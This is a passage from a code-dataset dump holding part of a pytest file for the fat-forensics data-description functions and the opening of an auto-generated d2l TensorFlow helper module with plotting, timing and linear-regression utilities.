include & exclude -- ignore nans\n    array = np.array([(33, 22, np.nan, 11, np.nan, 4)],\n                     dtype=[('a', int), ('b', int), ('c', np.float),\n                            ('d', np.int32), ('e', np.float), ('f', int)])\n    description = {'count': 6, 'mean': 17.5, 'std': 11.011, 'max': 33,\n                   'min': 4, '25%': 9.25, '50%': 16.5, '75%': 24.75,\n                   'nan_count': 2}  # yapf: disable\n    with pytest.warns(UserWarning) as w:\n        array_description = ftddf.describe_array(\n            array[0], exclude='unimportant', include='nope')\n    assert len(w) == 1\n    assert str(w[0].message) == user_warning\n    #\n    assert set(ftddf.NUMERICAL_KEYS) == set(description.keys())\n    assert set(ftddf.NUMERICAL_KEYS) == set(array_description.keys())\n    for i in ftddf.NUMERICAL_KEYS:\n        assert pytest.approx(array_description[i], abs=1e-3) == description[i]\n\n    # 1D numerical array -- include & not exclude -- do not filter nans\n    if _NUMPY_1_10:  # pragma: no cover\n        description = {'count': 6, 'mean': np.nan, 'std': np.nan,\n                       'max': np.nan, 'min': np.nan, '25%': np.nan,\n                       '50%': np.nan, '75%': np.nan, 'nan_count': 2\n                       }  # yapf: disable\n        with pytest.warns(None) as w:\n            array_description = ftddf.describe_array(\n                array[0], include='unimportant', skip_nans=False)\n        assert issubclass(w[0].category, UserWarning)\n        assert str(w[0].message) == user_warning\n        if _NUMPY_1_17:\n            pass\n        elif _NUMPY_1_16:\n            assert len(w) == 4\n            for i in range(1, len(w)):\n                assert issubclass(w[i].category, RuntimeWarning)\n                assert str(w[i].message).startswith(runtime_warning_percentile)\n        elif _NUMPY_1_14_4:\n            assert len(w) == 6\n            assert issubclass(w[1].category, RuntimeWarning)\n            assert str(w[1].message).startswith(runtime_warning_minmax)\n            for i in range(2, len(w) - 1):\n                assert issubclass(w[i].category, RuntimeWarning)\n                assert str(w[i].message).startswith(runtime_warning_percentile)\n            assert issubclass(w[-1].category, RuntimeWarning)\n            assert str(w[-1].message).startswith(runtime_warning_minmax)\n        else:\n            assert len(w) == 4\n            for i in range(1, len(w)):\n                assert issubclass(w[i].category, RuntimeWarning)\n                assert str(w[i].message).startswith(runtime_warning_percentile)\n    else:  # pragma: no cover\n        description = {'count': 6, 'mean': np.nan, 'std': np.nan,\n                       'max': np.nan, 'min': np.nan, '25%': 13.75,\n                       '50%': 27.5, '75%': np.nan, 'nan_count': 2\n                       }  # yapf: disable\n        with pytest.warns(UserWarning) as w:\n            array_description = ftddf.describe_array(\n                array[0], include='unimportant', skip_nans=False)\n        assert len(w) == 1\n        assert str(w[0].message) == user_warning\n    #\n    assert set(ftddf.NUMERICAL_KEYS) == set(description.keys())\n    assert set(ftddf.NUMERICAL_KEYS) == set(array_description.keys())\n    for i in ftddf.NUMERICAL_KEYS:\n        true = description[i]\n        computed = array_description[i]\n        if np.isnan(true) and np.isnan(computed):\n            assert True\n        else:\n            assert true == computed\n\n    # A 2D array with 0 columns\n    array = np.ndarray((10, 0), dtype=np.int32)\n    with pytest.raises(ValueError) as exin:\n        ftddf.describe_array(array)\n    assert str(exin.value) == value_error_0_columns\n\n    # Testing arrays\n    numerical_indices_struct = ['a', 'b', 'd']\n    array_num = np.array([[33, 0.5, 11], [17, 2.22, 22], [22, 3.33, -5],\n                          [0, np.nan, 0]])\n    array_cat = np.array([['one', 'four'], ['six', 'xyz'], ['one', 'xyz'],\n                          ['s', 'four']])\n    array_struct = np.array([(33, 0.5, 'one', 11, 'four'),\n                             (17, 2.22, 'six', 22, 'xyz'),\n                             (22, 3.33, 'one', -5, 'xyz'),\n                             (0, np.nan, 's', 0, 'four')],\n                            dtype=[('a', int), ('b', float), ('c', 'U3'),\n                                   ('d', np.int32), ('e', 'U4')])\n    # yapf: disable\n    num_c0 = {'count': 4, 'mean': 18, 'std': 11.895, 'max': 33, 'min': 0,\n              '25%': 12.75, '50%': 19.5, '75%': 24.75, 'nan_count': 0}\n    num_c1 = {'count': 4, 'mean': 2.017, 'std': 1.164, 'max': 3.33, 'min': 0.5,\n              '25%': 1.36, '50%': 2.22, '75%': 2.775, 'nan_count': 1}\n    num_c1_nan = {'count': 4, 'mean': np.nan, 'std': np.nan, 'max': np.nan,\n                  'min': np.nan, '25%': np.nan, '50%': np.nan, '75%': np.nan,\n                  'nan_count': 1}\n    num_c1_nann = {'count': 4, 'mean': np.nan, 'std': np.nan, 'max': np.nan,\n                   'min': np.nan, '25%': 1.79, '50%': 2.775, '75%': np.nan,\n                   'nan_count': 1}\n    num_c2 = {'count': 4, 'mean': 7, 'std': 10.416, 'max': 22, 'min': -5,\n              '25%': -1.25, '50%': 5.5, '75%': 13.75, 'nan_count': 0}\n    description_num = {'a': num_c0, 'b': num_c1, 'd': num_c2, 0: num_c0,\n                       1: num_c1, 3: num_c2, 2: num_c2}\n    description_num_nan = {'a': num_c0, 'b': num_c1_nan, 'd': num_c2,\n                           0: num_c0, 1: num_c1_nan, 3: num_c2, 2: num_c2}\n    description_num_nann = {'a': num_c0, 'b': num_c1_nann, 'd': num_c2,\n                            0: num_c0, 1: num_c1_nann, 3: num_c2, 2: num_c2}\n    cat_c0 = {'count': 4, 'unique': np.array(['one', 's', 'six']),\n              'unique_counts': np.array([2, 1, 1]), 'top': 'one', 'freq': 2,\n              'is_top_unique': True}  # yapf: disable\n    cat_c1 = {'count': 4, 'unique': np.array(['four', 'xyz']),\n              'unique_counts': np.array([2, 2]), 'top': 'four', 'freq': 2,\n              'is_top_unique': False}  # yapf: disable\n    description_cat = {'c': cat_c0, 'e': cat_c1, 0: cat_c0, 1: cat_c1}\n    # yapf: enable\n\n    # 2D structured mixture -- ignore nans -- no include/ exclude\n    description = ftddf.describe_array(array_struct)\n    assert set(description) == set(array_struct.dtype.names)\n    for col_id, column_description in description.items():\n        if col_id in numerical_indices_struct:\n            assert set(ftddf.NUMERICAL_KEYS) == set(column_description.keys())\n            assert set(ftddf.NUMERICAL_KEYS) == set(\n                description_num[col_id].keys())\n            for i in ftddf.NUMERICAL_KEYS:\n                col_d = column_description[i]\n                gt_d = description_num[col_id][i]\n                if np.isnan(col_d) and np.isnan(gt_d):  # pragma: no cover\n                    assert True\n                else:\n                    assert pytest.approx(col_d, abs=1e-3) == gt_d\n        else:\n            assert set(ftddf.CATEGORICAL_KEYS) == set(\n                column_description.keys())\n            assert set(ftddf.CATEGORICAL_KEYS) == set(\n                description_cat[col_id].keys())\n            for i in ftddf.CATEGORICAL_KEYS:\n                col_d = column_description[i]\n                gt_d = description_cat[col_id][i]\n                if isinstance(col_d, (str, bool, int, np.int64, np.bool_)):\n                    assert col_d == gt_d\n                elif isinstance(col_d, np.ndarray):\n                    assert np.array_equal(col_d, gt_d)\n                else:  # pragma: no cover\n                    assert False, 'Unrecognised type!'\n\n    # 2D structured mixture -- do not ignore nans -- no include/ exclude\n    if _NUMPY_1_10:  # pragma: no cover\n        description_num_test = description_num_nan\n        if _NUMPY_1_17:\n            description = ftddf.describe_array(array_struct, skip_nans=False)\n        else:\n            with pytest.warns(RuntimeWarning) as w:\n                description = ftddf.describe_array(\n                    array_struct, skip_nans=False)\n            if _NUMPY_1_16:\n                assert len(w) == 3\n                for i in range(len(w)):\n                    assert str(\n                        w[i].message).startswith(runtime_warning_percentile)\n            elif _NUMPY_1_14_4:\n                assert len(w) == 5\n                assert str(w[0].message).startswith(runtime_warning_minmax)\n                for i in range(1, len(w) - 1):\n                    assert str(\n                        w[i].message).startswith(runtime_warning_percentile)\n                assert str(w[-1].message).startswith(runtime_warning_minmax)\n            else:\n                assert len(w) == 3\n                for i in range(len(w)):\n                    assert str(\n                        w[i].message).startswith(runtime_warning_percentile)\n    else:  # pragma: no cover\n        description_num_test = description_num_nann\n        description = ftddf.describe_array(array_struct, skip_nans=False)\n    #\n    assert set(description) == set(array_struct.dtype.names)\n    for col_id, column_description in description.items():\n        if col_id in numerical_indices_struct:\n            assert set(ftddf.NUMERICAL_KEYS) == set(column_description.keys())\n            assert set(ftddf.NUMERICAL_KEYS) == set(\n                description_num_test[col_id].keys())\n            for i in ftddf.NUMERICAL_KEYS:\n                col_d = column_description[i]\n                gt_d = description_num_test[col_id][i]\n                if np.isnan(col_d) and np.isnan(gt_d):\n                    assert True\n                else:\n                    assert pytest.approx(col_d, abs=1e-3) == gt_d\n        else:\n            assert set(ftddf.CATEGORICAL_KEYS) == set(\n                column_description.keys())\n            assert set(ftddf.CATEGORICAL_KEYS) == set(\n                description_cat[col_id].keys())\n            for i in ftddf.CATEGORICAL_KEYS:\n                col_d = column_description[i]\n                gt_d = description_cat[col_id][i]\n                if isinstance(col_d, (str, bool, int, np.int64, np.bool_)):\n                    assert col_d == gt_d\n                elif isinstance(col_d, np.ndarray):\n                    assert np.array_equal(col_d, gt_d)\n                else:  # pragma: no cover\n                    assert False, 'Unrecognised type!'\n\n    # 2D structured mixture -- include categorical/ exclude string\n    description = ftddf.describe_array(\n        array_struct, include='categorical', exclude='c')\n    assert set(description) == set(['e'])\n    for col_id, column_description in description.items():\n        assert set(ftddf.CATEGORICAL_KEYS) == set(column_description.keys())\n        assert set(ftddf.CATEGORICAL_KEYS) == set(\n            description_cat[col_id].keys())\n        for i in ftddf.CATEGORICAL_KEYS:\n            col_d = column_description[i]\n            gt_d = description_cat[col_id][i]\n            if isinstance(col_d, (str, bool, int, np.int64, np.bool_)):\n                assert col_d == gt_d\n            elif isinstance(col_d, np.ndarray):\n                assert np.array_equal(col_d, gt_d)\n            else:  # pragma: no cover\n                assert False, 'Unrecognised type!'\n\n    # 2D structured mixture -- include numerical/ exclude list\n    description = ftddf.describe_array(\n        array_struct, include='numerical', exclude=['a', 'b', 'c', 'e'])\n    assert set(description) == set('d')\n    for col_id, column_description in description.items():\n        assert set(ftddf.NUMERICAL_KEYS) == set(column_description.keys())\n        assert set(ftddf.NUMERICAL_KEYS) == set(\n            description_num_nan[col_id].keys())\n        for i in ftddf.NUMERICAL_KEYS:\n            col_d = column_description[i]\n            gt_d = description_num_nan[col_id][i]\n            if np.isnan(col_d) and np.isnan(gt_d):  # pragma: no cover\n                assert True\n            else:\n                assert pytest.approx(col_d, abs=1e-3) == gt_d\n\n    # 2D structured mixture -- include='numerical', exclude='numerical'\n    with pytest.raises(RuntimeError) as exin:\n        ftddf.describe_array(\n            array_struct, include='numerical', exclude='numerical')\n    assert str(exin.value) == runtime_error\n\n    # Invalid indices -- include\n    with pytest.raises(IndexError) as exin:\n        ftddf.describe_array(array_struct, include='f', exclude='x')\n    assert str(exin.value) == value_error_include_index.format('f')\n\n    # Invalid indices -- include\n    with pytest.raises(TypeError) as exin:\n        ftddf.describe_array(array_struct, include=7.5, exclude='x')\n    assert str(exin.value) == type_error_include\n\n    # Invalid indices -- include\n    with pytest.raises(IndexError) as exin:\n        ftddf.describe_array(\n            array_struct, include=['a', 7.5, 'b', 'y'], exclude='x')\n    exin_message = str(exin.value)\n    assert (exin_message.startswith(value_error_include_indices)\n            and '{' in exin_message and '}' in exin_message\n            and '7.5' in exin_message and 'y' in exin_message)\n\n    # Invalid indices -- exclude\n    with pytest.raises(IndexError) as exin:\n        ftddf.describe_array(array_struct, include='b', exclude='x')\n    assert str(exin.value) == value_error_exclude_index.format('x')\n\n    # Invalid indices -- include\n    with pytest.raises(IndexError) as exin:\n        ftddf.describe_array(\n            array_struct, include='a', exclude=['a', 7.5, 'b', 'z'])\n    exin_message = str(exin.value)\n    assert (exin_message.startswith(value_error_exclude_indices)\n            and '{' in exin_message and '}' in exin_message\n            and '7.5' in exin_message and 'z' in exin_message)\n\n    # Invalid indices -- exclude\n    with pytest.raises(TypeError) as exin:\n        ftddf.describe_array(array_struct, include='b', exclude=4.2)\n    assert str(exin.value) == type_error_exclude\n\n    # Include list\n    description = ftddf.describe_array(\n        array_struct, include=['a', 'd'], exclude='categorical')\n    assert set(description) == set(['a', 'd'])\n    for col_id, column_description in description.items():\n        assert set(ftddf.NUMERICAL_KEYS) == set(column_description.keys())\n        assert set(ftddf.NUMERICAL_KEYS) == set(\n            description_num_nan[col_id].keys())\n        for i in ftddf.NUMERICAL_KEYS:\n            col_d = column_description[i]\n            gt_d = description_num_nan[col_id][i]\n            if np.isnan(col_d) and np.isnan(gt_d):  # pragma: no cover\n                assert True\n            else:\n                assert pytest.approx(col_d, abs=1e-3) == gt_d\n\n    # include string\n    description = ftddf.describe_array(array_struct, include='a')\n    assert set(description) == set(['a'])\n    for col_id, column_description in description.items():\n        assert set(ftddf.NUMERICAL_KEYS) == set(column_description.keys())\n        assert set(ftddf.NUMERICAL_KEYS) == set(\n            description_num_nan[col_id].keys())\n        for i in ftddf.NUMERICAL_KEYS:\n            col_d = column_description[i]\n            gt_d = description_num_nan[col_id][i]\n            if np.isnan(col_d) and np.isnan(gt_d):  # pragma: no cover\n                assert True\n            else:\n                assert pytest.approx(col_d, abs=1e-3) == gt_d\n\n    # Include categorical\n    description = ftddf.describe_array(array_struct, include='categorical')\n    assert set(description) == set(['c', 'e'])\n    for col_id, column_description in description.items():\n        assert set(ftddf.CATEGORICAL_KEYS) == set(column_description.keys())\n        assert set(ftddf.CATEGORICAL_KEYS) == set(\n            description_cat[col_id].keys())\n        for i in ftddf.CATEGORICAL_KEYS:\n            col_d = column_description[i]\n            gt_d = description_cat[col_id][i]\n            if isinstance(col_d, (str, bool, int, np.int64, np.bool_)):\n                assert col_d == gt_d\n            elif isinstance(col_d, np.ndarray):\n                assert np.array_equal(col_d, gt_d)\n            else:  # pragma: no cover\n                assert False, 'Unrecognised type!'\n\n    # Include numerical\n    description = ftddf.describe_array(array_struct, include='numerical')\n    assert set(description) == set(['a', 'b', 'd'])\n    for col_id, column_description in description.items():\n        assert set(ftddf.NUMERICAL_KEYS) == set(column_description.keys())\n        assert set(ftddf.NUMERICAL_KEYS) == set(description_num[col_id].keys())\n        for i in ftddf.NUMERICAL_KEYS:\n            col_d = column_description[i]\n            gt_d = description_num[col_id][i]\n            if np.isnan(col_d) and np.isnan(gt_d):  # pragma: no cover\n                assert True\n            else:\n                assert pytest.approx(col_d, abs=1e-3) == gt_d\n\n    # 2D structured mixture -- include=None, exclude='categorical'\n    description = ftddf.describe_array(array_struct, exclude='categorical')\n    assert set(description) == set(['a', 'b', 'd'])\n    for col_id, column_description in description.items():\n        assert set(ftddf.NUMERICAL_KEYS) == set(column_description.keys())\n        assert set(ftddf.NUMERICAL_KEYS) == set(description_num[col_id].keys())\n        for i in ftddf.NUMERICAL_KEYS:\n            col_d = column_description[i]\n            gt_d = description_num[col_id][i]\n            if np.isnan(col_d) and np.isnan(gt_d):  # pragma: no cover\n                assert True\n            else:\n                assert pytest.approx(col_d, abs=1e-3) == gt_d\n\n    # 2D structured mixture -- include=None, exclude='numerical'\n    description = ftddf.describe_array(array_struct, exclude='numerical')\n    assert set(description) == set(['c', 'e'])\n    for col_id, column_description in description.items():\n        assert set(ftddf.CATEGORICAL_KEYS) == set(column_description.keys())\n        assert set(ftddf.CATEGORICAL_KEYS) == set(\n            description_cat[col_id].keys())\n        for i in ftddf.CATEGORICAL_KEYS:\n            col_d = column_description[i]\n            gt_d = description_cat[col_id][i]\n            if isinstance(col_d, (str, bool, int, np.int64, np.bool_)):\n                assert col_d == gt_d\n            elif isinstance(col_d, np.ndarray):\n                assert np.array_equal(col_d, gt_d)\n            else:  # pragma: no cover\n                assert False, 'Unrecognised type!'\n\n    # 2D classic numerical -- only exclude numerical\n    with pytest.raises(RuntimeError) as exin:\n        ftddf.describe_array(array_num, exclude='numerical')\n    assert str(exin.value) == runtime_error\n\n    # 2D classic numerical -- only exclude=1\n    description = ftddf.describe_array(array_num, exclude=1)\n    assert set(description) == set([0, 2])\n    for col_id, column_description in description.items():\n        assert set(ftddf.NUMERICAL_KEYS) == set(column_description.keys())\n        assert set(ftddf.NUMERICAL_KEYS) == set(description_num[col_id].keys())\n        for i in ftddf.NUMERICAL_KEYS:\n            col_d = column_description[i]\n            gt_d = description_num[col_id][i]\n            if np.isnan(col_d) and np.isnan(gt_d):  # pragma: no cover\n                assert True\n            else:\n                assert pytest.approx(col_d, abs=1e-3) == gt_d\n\n    # 2D classic numerical -- only include=[0,2]\n    description = ftddf.describe_array(array_num, include=[0, 2])\n    assert set(description) == set([0, 2])\n    for col_id, column_description in description.items():\n        assert set(ftddf.NUMERICAL_KEYS) == set(column_description.keys())\n        assert set(ftddf.NUMERICAL_KEYS) == set(description_num[col_id].keys())\n        for i in ftddf.NUMERICAL_KEYS:\n            col_d = column_description[i]\n            gt_d = description_num[col_id][i]\n            if np.isnan(col_d) and np.isnan(gt_d):  # pragma: no cover\n                assert True\n            else:\n                assert pytest.approx(col_d, abs=1e-3) == gt_d\n\n    # 2D classic categorical -- only exclude categorical\n    with pytest.raises(RuntimeError) as exin:\n        ftddf.describe_array(array_cat, exclude='categorical')\n    assert str(exin.value) == runtime_error\n\n    # 2D classic categorical -- only exclude=0\n    description = ftddf.describe_array(array_cat, exclude=0)\n    assert set(description) == set([1])\n    for col_id, column_description in description.items():\n        assert set(ftddf.CATEGORICAL_KEYS) == set(column_description.keys())\n        assert set(ftddf.CATEGORICAL_KEYS) == set(\n            description_cat[col_id].keys())\n        for i in ftddf.CATEGORICAL_KEYS:\n            col_d = column_description[i]\n            gt_d = description_cat[col_id][i]\n            if isinstance(col_d, (str, bool, int, np.int64, np.bool_)):\n                assert col_d == gt_d\n            elif isinstance(col_d, np.ndarray):\n                assert np.array_equal(col_d, gt_d)\n            else:  # pragma: no cover\n                assert False, 'Unrecognised type!'\n\n    # 2D classic categorical -- only include=1, exclude=numerical\n    description = ftddf.describe_array(\n        array_cat, include=1, exclude='numerical')\n    assert set(description) == set([1])\n    for col_id, column_description in description.items():\n        assert set(ftddf.CATEGORICAL_KEYS) == set(column_description.keys())\n        assert set(ftddf.CATEGORICAL_KEYS) == set(\n            description_cat[col_id].keys())\n        for i in ftddf.CATEGORICAL_KEYS:\n            col_d = column_description[i]\n            gt_d = description_cat[col_id][i]\n            if isinstance(col_d, (str, bool, int, np.int64, np.bool_)):\n                assert col_d == gt_d\n            elif isinstance(col_d, np.ndarray):\n                assert np.array_equal(col_d, gt_d)\n            else:  # pragma: no cover\n                assert False, 'Unrecognised type!'\n\n\ndef test_filter_include_indices():\n    \"\"\"\n    Tests :func:`fatf.transparency.data.describe._filter_include_indices`.\n    \"\"\"\n    index_error_a = 'The following include index is not a valid index: {}.'\n    index_error_b = 'The following include indices are not valid indices: '\n    type_error = ('The include parameter can either be a string, an integer '\n                  'or a list of these two types.')\n    n_set = set(['n1', 'n2', 'n3'])\n    c_set = set(['c1', 'c2', 'c3'])\n    nc_set = n_set.union(c_set)\n    n_set_num = set([1, 2, 4])\n    c_set_num = set([3, 5])\n    nc_set_num = n_set_num.union(c_set_num)\n\n    # None index\n    include = None\n    c_ind, n_ind = ftddf._filter_include_indices(c_set, n_set, include, nc_set)\n    assert c_ind == c_set and n_ind == n_set\n\n    # 'numerical' index\n    include = 'numerical'\n    c_ind, n_ind = ftddf._filter_include_indices(c_set, n_set, include, nc_set)\n    assert c_ind == set() and n_ind == n_set\n\n    # 'categorical' index\n    include = 'categorical'\n    c_ind, n_ind = ftddf._filter_include_indices(c_set, n_set, include, nc_set)\n    assert c_ind == c_set and n_ind == set()\n\n    # Numbered index\n    # ...int\n    include = 5\n    with pytest.raises(IndexError) as exin:\n        ftddf._filter_include_indices(c_set, n_set, include, nc_set)\n    assert str(exin.value) == index_error_a.format(include)\n    #\n    c_ind, n_ind = ftddf._filter_include_indices(c_set_num, n_set_num, include,\n                                                 nc_set_num)\n    assert c_ind == set([5]) and n_ind == set()\n    # ...float (and object testing)\n    include = 5.\n    with pytest.raises(TypeError) as exin:\n        ftddf._filter_include_indices(c_set, n_set, include, nc_set)\n    assert str(exin.value) == type_error.format(include)\n\n    # String index\n    include = 'c2'\n    c_ind, n_ind = ftddf._filter_include_indices(c_set, n_set, include, nc_set)\n    assert c_ind == set(['c2']) and n_ind == set()\n\n    # List index\n    # ...with float\n    include = ['c1', 'c5', 77, 7.7, 'n3']\n    with pytest.raises(IndexError) as exin:\n        ftddf._filter_include_indices(c_set, n_set, include, nc_set)\n    exin_msg = str(exin.value)\n    assert (exin_msg.startswith(index_error_b) and '77' in exin_msg\n            and '7.7' in exin_msg and \"'c5'\" in exin_msg)\n    # ..normal\n    include = ['c1', 'c3', 'n3']\n    c_ind, n_ind = ftddf._filter_include_indices(\n        set(['c1', 'c2']), n_set, include, nc_set)\n    assert c_ind == set(['c1']) and n_ind == set(['n3'])\n\n\ndef test_filter_exclude_indices():\n    \"\"\"\n    Tests :func:`fatf.transparency.data.describe._filter_exclude_indices`.\n    \"\"\"\n    index_error_a = 'The following exclude index is not a valid index: {}.'\n    index_error_b = 'The following exclude indices are not valid indices: '\n    type_error = ('The exclude parameter can either be a string, an integer '\n                  'or a list of these two types.')\n    n_set = set(['n1', 'n2', 'n3'])\n    c_set = set(['c1', 'c2', 'c3'])\n    nc_set = n_set.union(c_set)\n    n_set_num = set([1, 2, 4])\n    c_set_num = set([3, 5])\n    nc_set_num = n_set_num.union(c_set_num)\n\n    # None index\n    exclude = None\n    c_ind, n_ind = ftddf._filter_exclude_indices(c_set, n_set, exclude, nc_set)\n    assert c_ind == c_set and n_ind == n_set\n\n    # 'numerical' index\n    exclude = 'numerical'\n    c_ind, n_ind = ftddf._filter_exclude_indices(c_set, n_set, exclude, nc_set)\n    assert c_ind == c_set and n_ind == set()\n\n    # 'categorical' index\n    exclude = 'categorical'\n    c_ind, n_ind = ftddf._filter_exclude_indices(c_set, n_set, exclude, nc_set)\n    assert c_ind == set() and n_ind == n_set\n\n    # Numbered index\n    # ...int\n    exclude = 5\n    with pytest.raises(IndexError) as exin:\n        ftddf._filter_exclude_indices(c_set, n_set, exclude, nc_set)\n    assert str(exin.value) == index_error_a.format(exclude)\n    #\n    c_ind, n_ind = ftddf._filter_exclude_indices(c_set_num, n_set_num, exclude,\n                                                 nc_set_num)\n    assert c_ind == set([3]) and n_ind == set([1, 2, 4])\n    # ...float (and object testing)\n    exclude = 5.\n    with pytest.raises(TypeError) as exin:\n        ftddf._filter_exclude_indices(c_set, n_set, exclude, nc_set)\n    assert str(exin.value) == type_error.format(exclude)\n\n    # String index\n    exclude = 'c2'\n    c_ind, n_ind = ftddf._filter_exclude_indices(c_set, n_set, exclude, nc_set)\n    assert c_ind == set(['c1', 'c3']) and n_ind == set(['n1', 'n2', 'n3'])\n\n    # List index\n    # ...with float\n    exclude = ['c1', 'c5', 77, 7.7, 'n3']\n    with pytest.raises(IndexError) as exin:\n        ftddf._filter_exclude_indices(c_set, n_set, exclude, nc_set)\n    exin_msg = str(exin.value)\n    assert (exin_msg.startswith(index_error_b) and '77' in exin_msg\n            and '7.7' in exin_msg and \"'c5'\" in exin_msg)\n    # ..normal\n    exclude = ['c1', 'c3', 'n3']\n    c_ind, n_ind = ftddf._filter_exclude_indices(\n        set(['c1', 'c2']), n_set, exclude, nc_set)\n    assert c_ind == set(['c2']) and n_ind == set(['n1', 'n2'])\n", "meta": {"hexsha": "91e27d51d308294a5ca03393d00b69c2de82025a", "size": 41277, "ext": "py", "lang": "Python", "max_stars_repo_path": "fatf/transparency/data/tests/test_describe_functions.py", "max_stars_repo_name": "So-Cool/fat-forensics", "max_stars_repo_head_hexsha": "6fa252a1d90fe543242ef030a5f8a3f9c9f692fe", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 48, "max_stars_repo_stars_event_min_datetime": "2019-09-12T04:54:48.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-27T01:49:55.000Z", "max_issues_repo_path": "fatf/transparency/data/tests/test_describe_functions.py", "max_issues_repo_name": "So-Cool/fat-forensics", "max_issues_repo_head_hexsha": "6fa252a1d90fe543242ef030a5f8a3f9c9f692fe", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 4, "max_issues_repo_issues_event_min_datetime": "2019-11-04T00:01:15.000Z", "max_issues_repo_issues_event_max_datetime": "2021-01-27T16:35:29.000Z", "max_forks_repo_path": "fatf/transparency/data/tests/test_describe_functions.py", "max_forks_repo_name": "So-Cool/fat-forensics", "max_forks_repo_head_hexsha": "6fa252a1d90fe543242ef030a5f8a3f9c9f692fe", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 11, "max_forks_repo_forks_event_min_datetime": "2019-09-17T13:39:43.000Z", "max_forks_repo_forks_event_max_datetime": "2021-07-27T11:04:33.000Z", "avg_line_length": 46.5355129651, "max_line_length": 79, "alphanum_fraction": 0.5994379436, "include": true, "reason": "import numpy", "num_tokens": 10571, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4726834766204328, "lm_q2_score": 0.13117321357238923, "lm_q1q2_score": 0.06200341063087148}}
{"text": "# This file is generated automatically through:\n#    d2lbook build lib\n# Don't edit it directly\n\n# Defined in file: ./chapter_preface/index.md\nimport collections\nimport hashlib\nimport math\nimport os\nimport random\nimport re\nimport shutil\nimport sys\nimport tarfile\nimport time\nimport zipfile\nfrom collections import defaultdict\n\nimport pandas as pd\nimport requests\nfrom IPython import display\nfrom matplotlib import pyplot as plt\n\nd2l = sys.modules[__name__]\n\n\n# Defined in file: ./chapter_preface/index.md\nimport numpy as np\nimport tensorflow as tf\n\n\n# Defined in file: ./chapter_preliminaries/calculus.md\ndef use_svg_display():\n    \"\"\"Use the svg format to display a plot in Jupyter.\"\"\"\n    display.set_matplotlib_formats('svg')\n\n\n# Defined in file: ./chapter_preliminaries/calculus.md\ndef set_figsize(figsize=(3.5, 2.5)):\n    \"\"\"Set the figure size for matplotlib.\"\"\"\n    use_svg_display()\n    d2l.plt.rcParams['figure.figsize'] = figsize\n\n\n# Defined in file: ./chapter_preliminaries/calculus.md\ndef set_axes(axes, xlabel, ylabel, xlim, ylim, xscale, yscale, legend):\n    \"\"\"Set the axes for matplotlib.\"\"\"\n    axes.set_xlabel(xlabel)\n    axes.set_ylabel(ylabel)\n    axes.set_xscale(xscale)\n    axes.set_yscale(yscale)\n    axes.set_xlim(xlim)\n    axes.set_ylim(ylim)\n    if legend:\n        axes.legend(legend)\n    axes.grid()\n\n\n# Defined in file: ./chapter_preliminaries/calculus.md\ndef plot(X, Y=None, xlabel=None, ylabel=None, legend=None, xlim=None,\n         ylim=None, xscale='linear', yscale='linear',\n         fmts=('-', 'm--', 'g-.', 'r:'), figsize=(3.5, 2.5), axes=None):\n    \"\"\"Plot data points.\"\"\"\n    if legend is None:\n        legend = []\n\n    set_figsize(figsize)\n    axes = axes if axes else d2l.plt.gca()\n\n    # Return True if `X` (tensor or list) has 1 axis\n    def has_one_axis(X):\n        return (hasattr(X, \"ndim\") and X.ndim == 1 or\n                isinstance(X, list) and not hasattr(X[0], \"__len__\"))\n\n    if has_one_axis(X):\n        X = [X]\n    if Y is None:\n        X, Y = [[]] * len(X), X\n    elif has_one_axis(Y):\n        Y = [Y]\n    if len(X) != len(Y):\n        X = X * len(Y)\n    axes.cla()\n    for x, y, fmt in zip(X, Y, fmts):\n        if len(x):\n            axes.plot(x, y, fmt)\n        else:\n            axes.plot(y, fmt)\n    set_axes(axes, xlabel, ylabel, xlim, ylim, xscale, yscale, legend)\n\n\n# Defined in file: ./chapter_linear-networks/linear-regression.md\nclass Timer:\n    \"\"\"Record multiple running times.\"\"\"\n    def __init__(self):\n        self.times = []\n        self.start()\n\n    def start(self):\n        \"\"\"Start the timer.\"\"\"\n        self.tik = time.time()\n\n    def stop(self):\n        \"\"\"Stop the timer and record the time in a list.\"\"\"\n        self.times.append(time.time() - self.tik)\n        return self.times[-1]\n\n    def avg(self):\n        \"\"\"Return the average time.\"\"\"\n        return sum(self.times) / len(self.times)\n\n    def sum(self):\n        \"\"\"Return the sum of time.\"\"\"\n        return sum(self.times)\n\n    def cumsum(self):\n        \"\"\"Return the accumulated time.\"\"\"\n        return np.array(self.times).cumsum().tolist()\n\n\n# Defined in file: ./chapter_linear-networks/linear-regression-scratch.md\ndef synthetic_data(w, b, num_examples):\n    \"\"\"Generate y = Xw + b + noise.\"\"\"\n    X = d2l.zeros((num_examples, w.shape[0]))\n    X += tf.random.normal(shape=X.shape)\n    y = d2l.matmul(X, tf.reshape(w, (-1, 1))) + b\n    y += tf.random.normal(shape=y.shape, stddev=0.01)\n    y = d2l.reshape(y, (-1, 1))\n    return X, y\n\n\n# Defined in file: ./chapter_linear-networks/linear-regression-scratch.md\ndef linreg(X, w, b):\n    \"\"\"The linear regression model.\"\"\"\n    return d2l.matmul(X, w) + b\n\n\n# Defined in file: ./chapter_linear-networks/linear-regression-scratch.md\ndef squared_loss(y_hat, y):\n    \"\"\"Squared loss.\"\"\"\n    return (y_hat - d2l.reshape(y, y_hat.shape))**2 / 2\n\n\n# Defined in file: ./chapter_linear-networks/linear-regression-scratch.md\ndef sgd(params, grads, lr, batch_size):\n    \"\"\"Minibatch stochastic gradient descent.\"\"\"\n    for param, grad in zip(params, grads):\n        param.assign_sub(lr * grad / batch_size)\n\n\n# Defined in file: ./chapter_linear-networks/linear-regression-concise.md\ndef load_array(data_arrays, batch_size, is_train=True):\n    \"\"\"Construct a TensorFlow data iterator.\"\"\"\n    dataset = tf.data.Dataset.from_tensor_slices(data_arrays)\n    if is_train:\n        dataset = dataset.shuffle(buffer_size=1000)\n    dataset = dataset.batch(batch_size)\n    return dataset\n\n\n# Defined in file: ./chapter_linear-networks/image-classification-dataset.md\ndef get_fashion_mnist_labels(labels):\n    \"\"\"Return text labels for the Fashion-MNIST dataset.\"\"\"\n    text_labels = [\n        't-shirt', 'trouser', 'pullover', 'dress', 'coat', 'sandal', 'shirt',\n        'sneaker', 'bag', 'ankle boot']\n    return [text_labels[int(i)] for i in labels]\n\n\n# Defined in file: 